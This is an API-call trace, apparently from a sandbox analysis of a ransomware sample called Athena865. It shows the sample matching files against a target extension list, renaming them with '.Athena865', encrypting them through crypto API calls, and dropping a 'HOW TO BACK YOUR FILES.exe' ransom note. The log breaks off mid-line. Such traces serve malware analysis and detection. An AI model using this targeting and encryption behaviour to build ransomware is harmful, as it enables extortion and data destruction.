[0095.534] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0095.534] lstrlenW (lpString="dbb") returned 3 [0095.534] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0095.534] lstrlenW (lpString="vmdk") returned 4 [0095.534] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0095.535] lstrlenW (lpString="rar") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0095.535] lstrlenW (lpString="zip") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0095.535] lstrlenW (lpString="tgz") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0095.535] lstrlenW (lpString="vbox") returned 4 [0095.535] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0095.535] lstrlenW (lpString="vdi") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0095.535] lstrlenW (lpString="vhd") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0095.535] lstrlenW (lpString="vhdx") returned 4 [0095.535] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0095.535] lstrlenW (lpString="avhd") returned 4 [0095.535] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0095.535] lstrlenW (lpString="db") returned 2 [0095.535] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0095.535] lstrlenW (lpString="db2") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0095.535] lstrlenW (lpString="db3") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0095.535] lstrlenW (lpString="dbf") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0095.535] lstrlenW (lpString="mdf") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0095.535] lstrlenW (lpString="mdb") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0095.535] lstrlenW (lpString="sql") returned 3 [0095.535] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0095.536] lstrlenW (lpString="sqlite") returned 6 [0095.536] lstrcmpiW (lpString1="le.dll", lpString2="sqlite") returned -1 [0095.536] lstrlenW (lpString="sqlite3") returned 7 [0095.536] lstrcmpiW (lpString1="ole.dll", lpString2="sqlite3") returned -1 [0095.536] lstrlenW (lpString="sqlitedb") returned 8 [0095.536] lstrcmpiW (lpString1="dole.dll", lpString2="sqlitedb") returned -1 [0095.536] lstrlenW (lpString="xml") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0095.536] lstrlenW (lpString="$er") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0095.536] lstrlenW (lpString="4dd") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0095.536] lstrlenW (lpString="4dl") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0095.536] lstrlenW (lpString="^^^") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0095.536] lstrlenW (lpString="abs") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0095.536] lstrlenW (lpString="abx") returned 3 [0095.536] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0095.536] lstrlenW (lpString="accdb") returned 5 [0095.536] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0095.536] lstrlenW (lpString="accdc") returned 5 [0095.536] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0095.536] lstrlenW (lpString="accde") returned 5 [0095.536] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0095.536] lstrlenW (lpString="accdr") returned 5 [0095.536] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0095.537] lstrlenW (lpString="accdt") returned 5 [0095.537] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0095.537] lstrlenW (lpString="accdw") returned 5 [0095.537] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0095.537] lstrlenW (lpString="accft") returned 5 [0095.537] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0095.537] lstrlenW (lpString="adb") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.537] lstrlenW (lpString="adb") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.537] lstrlenW (lpString="ade") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0095.537] lstrlenW (lpString="adf") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0095.537] lstrlenW (lpString="adn") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0095.537] lstrlenW (lpString="adp") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0095.537] lstrlenW (lpString="alf") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0095.537] lstrlenW (lpString="ask") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0095.537] lstrlenW (lpString="btr") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0095.537] lstrlenW (lpString="cat") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0095.537] lstrlenW (lpString="cdb") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0095.537] lstrlenW (lpString="ckp") returned 3 [0095.537] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0095.537] lstrlenW (lpString="cma") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0095.538] lstrlenW (lpString="cpd") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0095.538] lstrlenW (lpString="dacpac") returned 6 [0095.538] lstrcmpiW (lpString1="le.dll", lpString2="dacpac") returned 1 [0095.538] lstrlenW (lpString="dad") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0095.538] lstrlenW (lpString="dadiagrams") returned 10 [0095.538] lstrlenW (lpString="daschema") returned 8 [0095.538] lstrcmpiW (lpString1="dole.dll", lpString2="daschema") returned 1 [0095.538] lstrlenW (lpString="db-journal") returned 10 [0095.538] lstrlenW (lpString="db-shm") returned 6 [0095.538] lstrcmpiW (lpString1="le.dll", lpString2="db-shm") returned 1 [0095.538] lstrlenW (lpString="db-wal") returned 6 [0095.538] lstrcmpiW (lpString1="le.dll", lpString2="db-wal") returned 1 [0095.538] lstrlenW (lpString="dbc") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0095.538] lstrlenW (lpString="dbs") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0095.538] lstrlenW (lpString="dbt") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0095.538] lstrlenW (lpString="dbv") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0095.538] lstrlenW (lpString="dbx") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0095.538] lstrlenW (lpString="dcb") returned 3 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0095.538] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0095.539] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll.Athena865") returned 84 [0095.539] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\stdole.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\stdole.dll.athena865"), dwFlags=0x1) returned 1 [0095.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\stdole.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\stdole.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.540] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16384) returned 1 [0095.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.541] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.541] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.541] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.542] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x154 [0095.543] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000 [0095.545] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.546] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.546] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.546] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.547] CloseHandle (hObject=0x154) returned 1 [0095.547] CloseHandle (hObject=0x17c) returned 1 [0095.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.547] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0095.547] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0095.547] ReleaseMutex (hMutex=0xec) returned 1 [0095.547] CloseHandle (hObject=0xec) returned 1 [0095.547] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0095.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bcf0 | out: hHeap=0x4f0000) returned 1 [0095.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530950 | out: hHeap=0x4f0000) returned 1 [0095.547] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned 47 [0095.547] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E201476302FBC0E723A5466079077D11") returned 0xec [0095.548] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0095.548] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0095.548] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0095.548] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 0 [0095.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0095.548] GetLastError () returned 0x0 [0095.548] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0095.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0095.549] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0095.549] CloseHandle (hObject=0xf4) returned 1 [0095.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0095.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0095.549] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12a7320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0095.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.550] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.550] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc12a7320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.550] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.550] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.550] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="windows") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="bootmgr") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="temp") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="pagefile.sys") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="boot") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="ids.txt") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="ntuser.dat") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="perflogs") returned -1 [0095.550] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2="MSBuild") returned -1 [0095.550] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0095.550] lstrcpyW (in: lpString1=0x241e8a8, lpString2="AssemblyList_4_client.xml" | out: lpString1="AssemblyList_4_client.xml") returned="AssemblyList_4_client.xml" [0095.550] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0095.550] lstrlenW (lpString="Athena865") returned 9 [0095.550] lstrcmpiW (lpString1="lient.xml", lpString2="Athena865") returned 1 [0095.550] lstrlenW (lpString=".dll") returned 4 [0095.551] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".dll") returned 1 [0095.551] lstrlenW (lpString=".lnk") returned 4 [0095.551] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".lnk") returned 1 [0095.551] lstrlenW (lpString=".ini") returned 4 [0095.551] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".ini") returned 1 [0095.551] lstrlenW (lpString=".sys") returned 4 [0095.551] lstrcmpiW (lpString1="AssemblyList_4_client.xml", lpString2=".sys") returned 1 [0095.551] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0095.551] lstrlenW (lpString="bak") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0095.551] lstrlenW (lpString="ba_") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0095.551] lstrlenW (lpString="dbb") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0095.551] lstrlenW (lpString="vmdk") returned 4 [0095.551] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0095.551] lstrlenW (lpString="rar") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0095.551] lstrlenW (lpString="zip") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0095.551] lstrlenW (lpString="tgz") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0095.551] lstrlenW (lpString="vbox") returned 4 [0095.551] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0095.551] lstrlenW (lpString="vdi") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0095.551] lstrlenW (lpString="vhd") returned 3 [0095.551] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0095.551] lstrlenW (lpString="vhdx") returned 4 [0095.551] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0095.552] lstrlenW (lpString="avhd") returned 4 [0095.552] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0095.552] lstrlenW (lpString="db") returned 2 [0095.552] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0095.552] lstrlenW (lpString="db2") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0095.552] lstrlenW (lpString="db3") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0095.552] lstrlenW (lpString="dbf") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0095.552] lstrlenW (lpString="mdf") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0095.552] lstrlenW (lpString="mdb") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0095.552] lstrlenW (lpString="sql") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0095.552] lstrlenW (lpString="sqlite") returned 6 [0095.552] lstrcmpiW (lpString1="nt.xml", lpString2="sqlite") returned -1 [0095.552] lstrlenW (lpString="sqlite3") returned 7 [0095.552] lstrcmpiW (lpString1="ent.xml", lpString2="sqlite3") returned -1 [0095.552] lstrlenW (lpString="sqlitedb") returned 8 [0095.552] lstrcmpiW (lpString1="ient.xml", lpString2="sqlitedb") returned -1 [0095.552] lstrlenW (lpString="xml") returned 3 [0095.552] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0095.552] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Athena865") returned 83 [0095.552] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.athena865"), dwFlags=0x1) returned 1 [0095.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.553] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15715) returned 1 [0095.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.554] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.554] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.554] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.555] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4070, lpName=0x0) returned 0x154 [0095.556] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4070) returned 0x100000 [0095.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.558] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.558] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.559] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.559] CloseHandle (hObject=0x154) returned 1 [0095.559] CloseHandle (hObject=0x17c) returned 1 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.560] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="windows") returned -1 [0095.560] lstrcmpiW (lpString1="AssemblyList_4_extended.xml", lpString2="bootmgr") 